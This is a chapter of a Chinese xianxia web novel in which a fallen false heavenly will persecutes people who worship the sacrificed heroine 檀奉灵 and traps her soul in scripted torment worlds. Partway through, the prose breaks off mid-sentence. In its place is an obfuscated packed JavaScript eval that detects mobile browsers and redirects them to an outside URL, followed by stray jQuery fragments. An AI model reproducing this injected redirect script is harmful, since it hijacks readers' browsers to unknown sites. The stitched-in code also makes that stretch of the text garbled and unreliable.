默认冷灰
24号文字
方正启体

120. 衔尾蛇

作者:禅宫本书字数:K更新时间:
    一年后。


    深山洞府上空,雷云翻涌。


    九道天雷接连劈落,一道比一道暴烈。山岩崩碎,整座山头被夷为平地。


    最后一道雷光消散,九方巽天的身影已消失不见,原地只剩一团凝而不散的黑雾。


    雷声止,天门开。


    黑雾毫不犹豫,分出一缕探入门内。里面没有仙境,只有望不到边际的虚无。


    虚无中央,盘踞着一团巨大的东西——扭曲、爬满裂痕,散发着令人作呕的陈腐气息。


    果然如此。


    九方巽天再没有自欺欺人的余地。什么融合归位,什么聚魂重生,全是谎言。


    这腐朽的东西只想吞噬他,补全自身。可惜牠太贪了,贪到以为他会乖乖送上门。


    “来。”那东西压抑不住期待。


    九方巽天没有半分迟疑,涌入更多黑雾。妖丹自爆点燃妖血,核心透出危险的血光,他以前所未有的速度撞向那团腐烂的存在。


    “一起死吧。”


    那东西的笑声戛然而止,转为惊恐:“你疯了!檀奉灵真的还在!”


    来不及了。


    牠想躲,却先感受到一股令其本能战栗、来自真正本源的压制。


    黑雾与腐朽悍然对撞!


    黑雾急速消融,九方巽天的意识迅速模糊、崩解。那东西躯体上一道主要裂痕被撕开,逸散出古老而恐怖的气息。


    但也仅此而已。双方实力悬殊,他的冲击不过是濒死一击。


    意识趋于寂灭,他看着那东西虽受伤却还活着,挣扎着重新凝聚,心中浮起最后一丝遗憾。


    还是杀不了牠。


    就在九方巽天即将归于虚无的一刹,虚空更深处,有什么东西睁开了眼睛。


    假天道原本破防的怒骂,瞬间变成凄厉惨叫。


    一股远比牠强大、远比牠古老、远比牠更像“天”的意志,苏醒了。


    仅仅一瞬。


    那庞大扭曲的躯体,像被橡皮擦去的污迹,瞬息间土崩瓦解,绝大部分存在被直接抹除!


    惨叫持续不到一个呼吸。


    只剩一缕极致怨恨的残念,侥幸未被扫清,仓皇隐匿于虚无的阴影中,瑟瑟发抖。


    那浩瀚意志看了这天地一眼,重新沉入永恒的寂静。


    而九方巽天的魂体在冲击中四分五裂,散落各方,消失无踪。


    ……


    时间倒回檀奉灵身陨那一刻。


    天裂合拢,悲声四起。


    无数亲眼所见、或冥冥中感知到的凡人,朝着她消散的方向跪下,磕头痛哭。他们不懂什么道法,只知道那天上坠落的身影,是为了护住他们,才落得如此下场。


    从那天起,檀奉灵的名字在凡间成了神、成了圣。家家户户供起牌位,香火日夜不断。


    这一幕,刺得那一缕残念生疼。


    一个祭品,也配受香火?这些卑贱凡人,不跪主宰天地的牠,倒去跪一个被牠亲手设计、又反噬牠的东西?


    牠没法挨个降下天罚,便透过还能使唤的修士,传下“天谕”:供奉邪灵檀奉灵者,逆天而行,当受天谴。


    起初,还有村子合力塑起玉像、石像。可天谕压顶,又有那些替天行道的浩然宗修士四处巡查,就连一念宗也因着天道压制无法干预。


    安家村的石像刚立起来没几天,便被发现,雕像粉碎,参与塑像的村民满门皆亡,血流成河。


    明着供奉不行,便转入了地下。


    巨大的雕像没了,取而代之的是藏在暗格里、巴掌大的粗糙泥像,香火从祠堂挪到了灶膛边、床底下,跪拜只能在夜深人静时,磕头也不敢出声。


    泥像的面容模糊不清,可处境越难,凡人对她便越敬。


    没人再像从前那样麻木等死,脑子里那些知识告诉他们,凡人该有凡人的活法。


    与此同时,从九方巽天那场杀戮中幸存下来的六大派,元气大伤,好不容易整合出了新掌门、新长老。


    这些人对那位杀神妖皇连个屁都不敢放,便把满腔恐惧和屈辱,全倒在死去的檀奉灵头上。


    左右不过是仗着她曾是“自家人”,关起门来怎么骂都是“家务事”。


    可他们也晓得,檀奉灵是妖皇的软肋,虽然后者闭关多年,但明面上仍不敢乱来,便打着“顺应天意”的旗号。


    他们绝口不提若非檀奉灵散灵补天,此界灵气早已枯竭、修行断绝,一味竭力宣扬她:擅用禁书,违逆天道,祸乱修真界。


    宗门之内,任何提及她可能心存善念或稍有功绩的言语,都会立刻招致严惩,轻则杖责囚禁,重则废去修为,驱逐出门。对她的污名与追剿,成了新势力树立权威、凝聚残余人心的最快手段。


    头一百年,修真界还能仗着积威和实力,勉强压住凡人的信仰,以及那些“奇技淫巧”的发展。


    然而,檀奉灵留下的知识种子一旦生根,便具有了顽强的生命力。


    基础的生产力提升后,依据檀奉灵留下的核心图纸和原理,第一代依靠下品灵石驱动的“诛邪弩”在隐秘作坊中诞生。


    这仅仅是开始,创新一旦开启便难以阻挡,更多威力更大、形制各异的武器被研制出来,甚至造出了不用灵石、只靠机关和火药就能抗衡修士的初级火器。


    妖族那边,赤面魈反叛被血腥镇压后,内部清洗了一遍,势力锐减。代管者夜朔和玄魁奉行休养生息之策,妖族整体转入沉寂,鲜少介入外界纷争。


    修士与凡人两边力量此消彼长,终究点燃了战火。


    一场憋了太久的冲突,轰然爆发。


    修真界震怒,认为凡人以下犯上,大举征伐;凡人则凭借新建的军队与层出不穷的新式武器,依托城池山川顽强抵抗。


    这一打就是十几年。双方死伤惨重,修真界没能摁死凡人,凡人也打不上修真山门。谁也吞不了谁,最后只好休战。


    而这场席卷众生的血战,所产生的死亡、恐惧与怨憎,却成了那缕残念最好的滋补。


    假天道隐在虚无里,贪婪地吸着满世界的灵蕴。


    “打吧。再多死一些。”


    死得越多,牠好得越快。


    恢复带来的那点喜悦有限,更多的焦躁和嫉恨,烧得更旺了。


    牠清楚地“看”到,凡人非但没有忘掉檀奉灵,那些藏于暗处的泥像反而更多了,香火愿力虽微弱却连绵不绝。


    更令牠如鲠在喉的是,随着凡人掌握的力量日益增强,他们对天谕的敬畏肉眼可见地消退,对那些异端邪说的信赖在加深。


    因此,比起这短暂的好处,牠更想让他们重新变回浑噩无知、任自己收割的模样。


    趁着意志稳固了许多,能更清楚地感知天地间一些细微的法则波动,残念尝试过好几次消除凡人记忆。


    得到的结果却是檀奉灵散灵补天,又用“异端邪说”加速了人族的文明进程,她所给予的知识如同自然诞生的火种,受法则庇佑。


    自己竟无法直接剥夺或消除!


    “恢复……必须更快恢复……”牠无声地嘶鸣,拼命汲取着能吸的稀薄灵蕴。


    檀奉灵身上本该属于牠的功德灵蕴,是时候拿回来了。


    ……


    残念沉入天地,搜寻那一抹游魂。


    继而看到了金灿灿的光团。


    找到了。


    只要魂魄还在,就能转世。只要转世,就能继续祭天。


    这个祭品太好用了,牠还想再用一次,两次,无数次。


    牠意念微动,拨动轮回。


    没反应。


    再拨。


    纹丝不动。


    又试了几次,那抹游魂依然飘在原处,像一尾游在水里的鱼,岸上的人怎么伸手都捞不起来。


    牠这才反应过来,气得差点把刚愈合的裂痕再崩开。


    那个祭品,不仅恢复了意识,还因祸得福,得了法则正式认可!


    凡人奉她为“启圣”,百年功德加身,若非法则所限,早已肉身成圣。这意味着自己再也不能干预她的命运了!


    檀奉灵这女人着实精明又阴险!


    当初就是为了避免这种情况,每次祭天前,牠才要求她众叛亲离、不得好死。


    没成想她另辟蹊径,还是成了此界大功德者,彻底融入这里的“气运”与“法则”循环,如同江河归海,成了这片天地本身的一部分“内水”,再也不能作为外部补充为牠所用。


    而且只要她历经五苦之劫而不灭,其神魂便会进一步凝聚升华,获得神格,成为与此界共生之新神。


    届时,必将分走牠手中本就不完整的权柄,将自己取而代之!


    “凭什么?一个祭品……也配成神?”残念阴恻恻低语。


    牠翻检着百年前截获的檀奉灵部分记忆碎片。那些来自异世的信息里,一些曾引起她强烈厌恶的故事跳了出来。


    女孩躺在床上盯着名为手机的小方块,忽然鲤鱼打挺坐起来,面露怒色。


    “不是,怎么又是渣男搞替身的烂文?”


    “这女主一遇男主就降智,连自尊也跟着消失了吗?”


    “渣男贱女锁死,你俩绝配!别出来祸害正常人!”


    “呕——我血压高,大数据你给我推这些等于谋财又害命!”


    残念愣住了。


    旋即,一个阴毒到极点的计划迅速成型。


    既然天地法则要檀奉灵渡五苦劫才能成神,那牠就用手里尚能撬动的一丝法则之力,帮她一把。


    牠要结合这些她最憎恶的故事蓝本,为檀奉灵量身打造一个个独立的小世界。


    不仅要她亲身经历,还要强制她扮演那些曾令她作呕的角色——承受背叛、折辱、求而不得、众叛亲离。


    借飞升之名,行折磨消磨之实。


    最好能使其心神崩溃,灵蕴散逸,那样牠或许还有机会重新攫取!


    为确保剧情按自己设计的、最能刺痛檀奉灵的方向发展,假天道先是割裂自己刚刚凝聚起来的一块宝贵力量,后以檀熟悉的“系统”之名绑定。


    意图监视她,引导她,必要时推她一把。


    布置好一切,“系统”轻而易举将失忆的檀奉灵拐了进去。


    看着那些虚构的渣男,残念又有些拿不准——这些假人,真能撼动一个历尽百世、心志如铁的大功德者?


    牠吃了次大亏,深谙对手城府有多深,那女人奸诈狡猾,万一识破了……


    就在牠为此纠结时,几道微弱却异常执着的魂光碎片,飘飘荡荡进入牠的感知范围。


    是九方巽天散落的残魂。


    它们似乎被某种更深层的联系吸引,正朝着檀奉灵那被投入小世界的神魂聚集。


    假天道残念微顿,而后泛起一股恶意的愉悦。


    真是得来全不费工夫!


    只见那几瓣残魂如碎铁遇磁石,又似倦鸟归巢,“活”了过来,毫不犹豫地、欢欣地朝着那缕游魂追逐而去,在其被吸入小世界入口的刹那,紧紧附着、缠绕上去,一同被吸入第一个世界。


    “去吧……好好享受,我给你们准备的……回礼。”


    牠扭曲的意念犹如毒蛇吐信。


    “系统,启动。引导她,按照剧本走完该走的每一步。”


    ……


    另一边,檀奉灵不知道自己飘了多久。


    清醒的时候,脑子里空荡荡的,什么也想不起来。她就那么飘在半空,漫无目的地望着下方。


    那是一片连在一起的大陆,从高处看,形状竟有几分像一颗硕大无朋、正在艰难搏动的心脏。


    五块陆地拼成二十几个国家,共享同一片灰蒙蒙的天。土地贫瘠,灾痕遍布,仿佛这颗心脏已步入迟暮,跳动得沉重而勉强。


    又过了许久,或许是一瞬,或许是百年,零碎的记忆才像深水


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245427|197874||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下的气泡,慢慢浮上来。


    她想起聚灵峰。看了看,发现那些山峰都位于各国首都,宛若抽水站一样抽取着整个大陆的生机,勉强吊着这颗心脏,不让它彻底坏死。


    最高也是最独特的一座聚灵峰叫苍梧山,不属于任何国家,输气管似的插在心脏正中。


    山下有个叫安家村的地方,地处南峪国边境。南峪的邻国里有个速惕,曾与东部的澜岳国交战多年。


    她好像曾是澜岳定国大将军的小女儿……只是记不清自己怎么死的了。


    不过也不难猜。听下面的人谈论,澜岳已灭了两百多年,速惕还在。按时间推算,她死时应该是二十出头,国破家亡。


    两百多年。


    与她记忆碎片里那个落后原始的修真世界相比,眼下这地方堪称天翻地覆。


    高耸入云的符文塔楼与古朴的飞檐斗拱并肩而立。曾经只有修士能踏足的山川之间,铺满了铁轨。灵石驱动的流线型车辆在山谷间穿行,快得像飞。也有修士御剑低空飞行,甚至能看到掺杂了炼器技术的公共云舟沿着固定路线往返。


    曾经只有阵法才能点亮的光,现在挂在每座城池的街道两旁,彻夜不熄。


    街头巷尾,凡人体修居然多不胜数,衣着也变得奇异,有方便活动的窄袖劲装,也有缀着简易防护阵法的长衫。


    扛着枪炮的列队走过,领头的军官手腕上戴着类似“千里传音符”简化版的小巧法器,随时准备传讯。


    城池里最高的不再是宗门塔楼,而是那些冒着烟的工厂烟囱。


    宗门的山门还在,但山脚下就是集市,凡人在那里叫卖自己造的家用器械,用的是一块刻着混乱方块的灵石——叫什么来着?她听见有人喊它“二维码”。


    灵气还在,但不再是唯一的力量。


    凡人的眼睛里,不再只有敬畏和恐惧。


    他们有了别的东西。


    但在这千奇百怪的繁荣之下,檀奉灵敏锐地察觉到一种更深沉的压抑。


    她飘过一座村庄,停住了。


    那是一户普通的人家,茅草屋,土墙,院子里堆着生锈老化的农具。屋里很暗,只有一个老妇人坐在炕边,手里捧着什么东西。


    檀奉灵飘进去,看清了。


    那是一尊泥像。


    只有巴掌大小,捏得很粗糙,五官都看不太清楚。但老妇人捧着牠,像捧着世上最贵重的东西,用袖子轻轻擦着上面的灰。


    底座上刻着四个字:启圣娘娘。


    檀奉灵怔怔地看着。


    老妇人把泥像放进炕头的一个小龛里,那里摆了几尊一模一样的,有新有旧。她点了三根香,插在香炉里,然后跪下来,对着那些泥像磕头。


    院内忽然传来一阵嘈杂。


    老妇人脸色一变,扑过去把香拔出来,捏灭火星,又伸手去够那几尊泥像。


    但来不及了。


    门被撞开,几个人冲进来,为首的人腰间挂着一块玉牌,上面刻着一个檀奉灵不认识的标记。


    “拿出来。”


    老妇人颤抖着把手背到身后。旁边一个年轻修士直接上前,一把拉开她,从炕头的小龛里把那几尊泥像全掏了出来。


    “又是这个。”那人嗤笑,往地上一摔。


    泥像碎了。老妇人跪下去,伏在地上,一声不吭。


    为首的人扫了一眼屋里,冷冷丢下一句话。


    “再有下次,全家毙命。”


    他们走了。


    檀奉灵飘在原处,看着老妇人跪在地上,把碎掉的泥块一块块捡起来,捧在手心。她没有哭,只低着头,把那些碎片拢在一起,用块破布包好,藏进炕洞最深的角落里。


    里面还有一尊精美的彩绘泥塑。


    蓦地,不知从哪来的声音,像从天上压下来的,又像从地底钻出来的,冷冰冰的,听不出男女。


    “念你初犯,碎像为警。再敢供奉,形神俱灭。”


    老妇人伏在地上,抖得像风中的枯叶。这尊彩塑是她姥爷凭着记忆里的檀仙长亲手捏出来的。


    当年她还年幼,随父母去安家村看望做村长的姥姥姥爷。只记得莫名其妙被放在山崖上空,后来被苍梧山上的修士所救。


    之后安家村全村连同她一家,都被京城招揽。她在物理上有天赋,在研究院待了一辈子。老了,便想和父母一样回安家村养老。


    这一辈子,她从没供奉过那个记忆里浅笑盈盈的启圣娘娘。所有时间都用来研发新武器,心里想的是不能辜负她,不能让她白白牺牲。


    今日试着捏了几个泥像,奉香朝拜,不过是因察觉大限将至。若不亲自感谢她,自己死不瞑目。


    可没想到,百年了,他们还是容不下檀仙长!她保不住这尊塑像了!


    思及此,老妇人泪流满面,眼底有恨有怒,却佝偻着身躯不停磕头。


    “别砸!别砸啊!这只是用来看的,没有供奉啊,求求您别砸它了啊!!!”


    没用。


    所有泥塑都碎成齑粉。


    那声音随之消失。


    檀奉灵飘出屋子,发现不止这一家。其他有人住的院子里,都有砸东西的动静。再远一点的村子,有人被从屋里拖出来按在地上,旁边一堆碎泥块。


    那些被抓住的人,没有一个敢反抗。


    若只是修士找茬,他们未必怕。但这事有违天命,为不波及家人亲友,只能跪着,听那不知哪来的声音宣布罪名,然后在威压下亲手砸碎那些小小的泥像。


    有的砸完之后,趁人不注意,偷偷捡起一块碎片,攥在手心里。


    檀奉灵飘在半空,看着这一切。


    她看不清那泥像是谁。


    但心里莫名涌起一种很奇怪的感觉。


    不等她细想,一股巨力凭空摄来,将她生生卷入混沌未知之地。


    再醒来,更多记忆碎片浮了上来,脑子里还多了个系统。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)